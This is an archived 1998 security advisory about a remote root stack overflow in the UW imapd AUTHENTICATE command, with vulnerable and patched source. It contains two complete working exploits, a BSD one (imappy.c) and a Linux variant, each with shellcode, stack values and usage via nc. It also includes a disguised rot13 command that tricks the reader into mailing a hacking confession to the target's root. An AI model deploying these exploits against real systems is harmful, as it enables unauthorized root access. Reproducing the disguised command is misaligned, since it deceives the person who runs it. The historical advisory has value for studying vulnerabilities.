[ http://www.rootshell.com/ ]
Date: Fri, 17 Jul 1998 00:06:30 +0200
From: Anonymous <nobody@REPLAY.COM>
Subject: EMERGENCY: new remote root exploit in UW imapd
INTRODUCTION
On July 10, 1998 a message was posted to the University of Washington Pine
mailing lists about a security problem in the UW imapd server released with
Pine 4.00, viewable at:
http://www.washington.edu/pine/pine-info/1998.07/msg00062.html
Out of curiosity, I decided to do some source code diffs to see what
changed between the patched and unpatched versions of imapd. Sure enough,
there was a *major* security hole. The message from the Pine developers
failed, however, to underscore the severity of the hole hence this security
advisory.
TECHNICAL DETAILS
This recent hole is similar in nature to the older hole described in CERT
Advisory CA-97.09 and the Secure Networks advisory of March 2, 1997 upon
which the CERT advisory is based, but this is an all new hole and is *not*
covered by the fixes presented in these advisories. The full text of each
previous advisory can be found at:
http://www.secnet.com/sni-advisories/imap.advisory.03.02.97.html
http://www.cert.org/advisories/CA-97.09.imap_pop.html
The previous IMAP server hole involved a stack buffer overflow condition in
the processing of the IMAP LOGIN command in which arbitrary machine code
can be executed by carefully crafting an overly long user name. This time
the affected command is the IMAP AUTHENTICATE command, which takes one
argument specifying the authentication mechanism. When a carefully crafted
mechanism name that exceeds the size of a special stack buffer is presented
to the IMAP server, the saved instruction pointer on the stack is
overwritten with a altered value that can result in the execution of
arbitrary machine code, due to coding errors in the IMAP server.
The following source code discussion pertains to imapd 10.234 as
distributed with Pine 4.00. The problem code appears in the mail_auth()
routine in mail.c of the IMAP server source code distribution, which reads:
char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[])
{
char tmp[MAILTMPLEN];
AUTHENTICATOR *auth;
/* make upper case copy of mechanism name */
ucase (strcpy (tmp,mechanism));
for (auth = mailauthenticators; auth; auth = auth->next)
if (auth->server && !strcmp (auth->name,tmp))
return (*auth->server) (resp,argc,argv);
return NIL; /* no authenticator found */
}
The problem lies in the strcpy() call that copies the contents of mechanism
to tmp which resides on the stack as an automatic variable. The tmp buffer
is MAILTMPLEN bytes in size, with MAILTMPLEN defined to be 1024 in mail.h.
However, the command string read from the client by the server is placed
into a buffer TMPLEN bytes in size, with TMPLEN defined to be 8192 in
imapd.c, thus allowing the passing of arguments to mail_auth() that greatly
exceed the size of its temporary buffer. Since the IMAP server has not
yet given up its root privileges at this stage of the login process, this
programming oversight can be exploited to yield root compromise on the IMAP
server machine.
Crafting machine code to take over the IMAP server through the AUTHENTICATE
command buffer overflow presents technical challenges because the buffer
contents are passed through ucase() which transforms all lowercase
characters to uppercase, so the exploit machine code, which typically
spawns a shell, must be impervious to mangling by toupper(). The
"standard" i386 BSD exploit code, however, proves to be exceptionally
resilient and actually the only necessary modification proves to be
protecting the lowercase characters in the string "/bin/sh" which requires
only trivial modifications.
Recent versions of imapd also include checks in parse_astring() in imapd.c
to reject characters with the high bit (eighth bit) set, so malicious
exploit code (which often contains characters greater than 0x7f and
non-letter characters) must be smuggled in as a string literal argument to
the AUTHENTICATE command, which proves to be only a minor difficulty.
IMPACT
Any remote individual with malicious intentions may gain root access to the
machine running a vulnerable version of imapd, with no knowledge of any
valid local usernames or passwords. As such, this matter should be treated
with the utmost of seriousness.
VULNERABLE SYSTEMS
Initial analysis seems to indicate that versions of the UW imapd IMAP 4.1
server up through version 10.234 distributed as part of the Pine 4.00
distribution are vulnerable. Versions as old as 10.191 have been analyzed
and found to be vulnerable, and it is believed that earlier versions are
likely vulnerable, as well. It may be safe to assume that all versions of
imapd (previous to and including the version distributed with Pine 4.00)
that support the IMAP AUTHENTICATE command are vulnerable.
At the present time it is not known if any UW imapd IMAP2bis servers are
vulnerable to this specific hole, but they are likely vulnerable to the
older LOGIN hole described in the advisories referenced above.
FIX INFORMATION
As a temporary emergency measure, it is recommended that all sites running
vulnerable versions of imapd disable their IMAP service in /etc/inetd.conf
until it is possible to upgrade to a patched version of the server.
The University of Washington is currently distributing a separate version
of imapd (confusingly, also numbered 10.234) outside of the Pine
distribution that addresses the overflow in mail_auth(). The patched code
reads:
char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[])
{
char tmp[MAILTMPLEN];
AUTHENTICATOR *auth;
/* cretins still haven't given up */
if (strlen (mechanism) >= MAILTMPLEN)
syslog (LOG_ALERT|LOG_AUTH,"System break-in attempt, host=%.80s",
tcp_clienthost ());
else { /* make upper case copy of mechanism name */
ucase (strcpy (tmp,mechanism));
for (auth = mailauthenticators; auth; auth = auth->next)
if (auth->server && !strcmp (auth->name,tmp))
return (*auth->server) (resp,argc,argv);
}
return NIL; /* no authenticator found */
}
This patched version of imapd may be obtained at:
ftp://ftp.cac.washington.edu/mail/imap.tar.Z
COMMENTARY
In some ways, it is depressing to find this new hole. Programmers are
still making the same mistakes they have made for years. Doesn't anyone
learn from the past? Can strcpy() ever be used safely? Perhaps the
software development community, and certainly those writing network service
daemons that run as root, should discontinue using *any* C library
functions that do not include bounds checking information, such as
sprintf(), strcat(), and strcpy(). Yes, they *can* be used safely but the
potential for misuse is too great. When will we learn? When?
I'll end my diatribe here.
EXPLOIT INFORMATION
What good is a security advisory without exploit information? The
following code exercises the buffer overflow condition on platforms running
i386 versions of BSD UNIX, such as FreeBSD or BSDI. I cannot be held
responsible for the consequences of releasing this code nor can I be held
responsible for results of its application. I am releasing this code to be
used for ethical purposes in diagnosing and testing the associated
vulnerability. Do not use this code to break into systems against the
wishes of their owners.
In short, be good, kids. Okay?
Oh, one other thing. If you're trying to use this code and it doesn't seem
to be working, type the following command at your UNIX prompt:
echo "v nz gelvat gb unpx ebbg" | tr a-z n-za-m | mail root@hostname
where "hostname" should be replaced with the hostname of the machine
running the IMAP server. Make sure you type it exactly as listed, since
every character counts. Once you've done that, try the exploit code again
and it should work.
Yours truly,
Cheez Whiz
cheezbeast@hotmail.com
imappy.c
----- cut here ----- cut here ----- cut here ----- cut here -----
/**
*** i386 BSD remote root exploit for UW imapd IMAP 4.1 server
***
*** This is *not* the same bug addressed in CERT Advisory CA-97.09!
***
*** Usage: % (imappy nop esp offset; cat) | nc hostname 143
***
*** where nop is the number of NOP opcodes to place at the start of the
*** exploit buffer (I use 403), esp is the %esp stack pointer value, and
*** offset is the number of bytes to add to esp to calculate your target
*** %eip.
***
*** Demonstration values for UW imapd 10.234 (part of Pine 4.00):
***
*** imappy 403 0xefbfd5e8 100 (BSDI 3.0)
*** imappy 403 0xefbfd4b8 100 (FreeBSD 2.2.5)
***
*** THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
***
*** Cheez Whiz
*** cheezbeast@hotmail.com
***
*** July 16, 1998
**/
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
#define BUFLEN (2*1024)
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x34" /* jmp springboard */
/* start: */
/* 2 */ "\x5e" /* popl %esi */
/* 3 */ "\x8d\x1e" /* leal (%esi),%ebx */
/* 5 */ "\x89\x5e\x0b" /* movl %ebx,0xb(%esi) */
/* 8 */ "\x31\xd2" /* xorl %edx,%edx */
/* 10 */ "\x89\x56\x07" /* movl %edx,0x7(%esi) */
/* 13 */ "\x89\x56\x0f" /* movl %edx,0xf(%esi) */
/* 16 */ "\x89\x56\x14" /* movl %edx,0x14(%esi) */
/* 19 */ "\x88\x56\x19" /* movb %dl,0x19(%esi) */
/* 22 */ "\x31\xc0" /* xorl %eax,%eax */
/* 24 */ "\xb0\x7f" /* movb $0x7f,%al */
/* 26 */ "\x20\x46\x01" /* andb %al,0x1(%esi) */
/* 29 */ "\x20\x46\x02" /* andb %al,0x2(%esi) */
/* 32 */ "\x20\x46\x03" /* andb %al,0x3(%esi) */
/* 35 */ "\x20\x46\x05" /* andb %al,0x5(%esi) */
/* 38 */ "\x20\x46\x06" /* andb %al,0x6(%esi) */
/* 41 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 43 */ "\x8d\x4e\x0b" /* leal 0xb(%esi),%ecx */
/* 46 */ "\x89\xca" /* movl %ecx,%edx */
/* 48 */ "\x52" /* pushl %edx */
/* 49 */ "\x51" /* pushl %ecx */
/* 50 */ "\x53" /* pushl %ebx */
/* 51 */ "\x50" /* pushl %eax */
/* 52 */ "\xeb\x18" /* jmp exec */
/* springboard: */
/* 54 */ "\xe8\xc7\xff\xff\xff" /* call start */
/* data: */
/* 59 */ "\x2f\xe2\xe9\xee\x2f\xf3\xe8" /* DATA (disguised /bin/sh) */
/* 66 */ "\x01\x01\x01\x01" /* DATA */
/* 70 */ "\x02\x02\x02\x02" /* DATA */
/* 74 */ "\x03\x03\x03\x03" /* DATA */
/* exec: */
/* 78 */ "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall 0x7,0x0 */
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset;
void
main (int argc, char *argv[])
{
int i;
if (argc < 4) {
printf("usage: %s nop esp offset\n", argv[0]);
return;
}
nop = strtoul(argv[1], NULL, 0);
esp = strtoul(argv[2], NULL, 0);
offset = strtol(argv[3], NULL, 0);
memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < BUFLEN - 4; i += 4)
*((int *) &buf[i]) = esp + offset;
printf("* AUTHENTICATE {%d}\r\n", BUFLEN);
for (i = 0; i < BUFLEN; i++)
putchar(buf[i]);
printf("\r\n");
return;
}
----- cut here ----- cut here ----- cut here ----- cut here -----
From carlosfdez@redestb.es Wed Jul 22 16:46:33 1998
Date: Fri, 17 Apr 1998 00:08:46 +0200
From: "[JAFJ]" <carlosfdez@redestb.es>
To: info@rootshell.com
Subject: URGENT URGENT IMAPD LINUX VULNERABLE
Greetz!!!
/*
UW Imap remote exploit for x86Linux by Juan A. Fernández Jiménez
(carlosfdez@redestb.es)
Systems affect: Ummm...I only tested it in IMAP4rev1v10.203
Greetz to: Koji, Sud, Darkmoon, Marneus...
How to use: # (./imaplinux;cat) | nc target_host 143
Note:
This exploit is based in the remote exploit created by Cheez Whiz.
You feel free to change the nops,offsets and esp...the shellcode is
all original from me... :P ...no problems with toupper()
ESP=0xBFFFF04C for v10.203
22/07/98 23:26
*/
#define BUF 2048
#define NOP 0x90
char shellcode[]=
"\xeb\x33\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x80\x46"
"\x01\x80\x80\x46\x02\x80\x80\x46\x03\x80\x80\x46\x05\x80\x80\x46"
"\x06\x80\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xc8\xff\xff\xff/âéî/óč.........";
char buffer[BUF];
long int nop=422,esp=0xBFFFF04C,offset=100;
void main() {
int cont;
memset(buffer,NOP,sizeof(buffer));
memcpy(buffer+nop,shellcode,strlen(shellcode));
for(cont=nop+strlen(shellcode);cont < BUF-4;cont+=4) *((int *) &buffer[cont])=esp+offset;
printf("* AUTHENTICATE {%d}\r\n",BUF);
for(cont=0;cont<sizeof(buffer);cont++) putchar(buffer[cont]);
printf("\r\n");
}
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
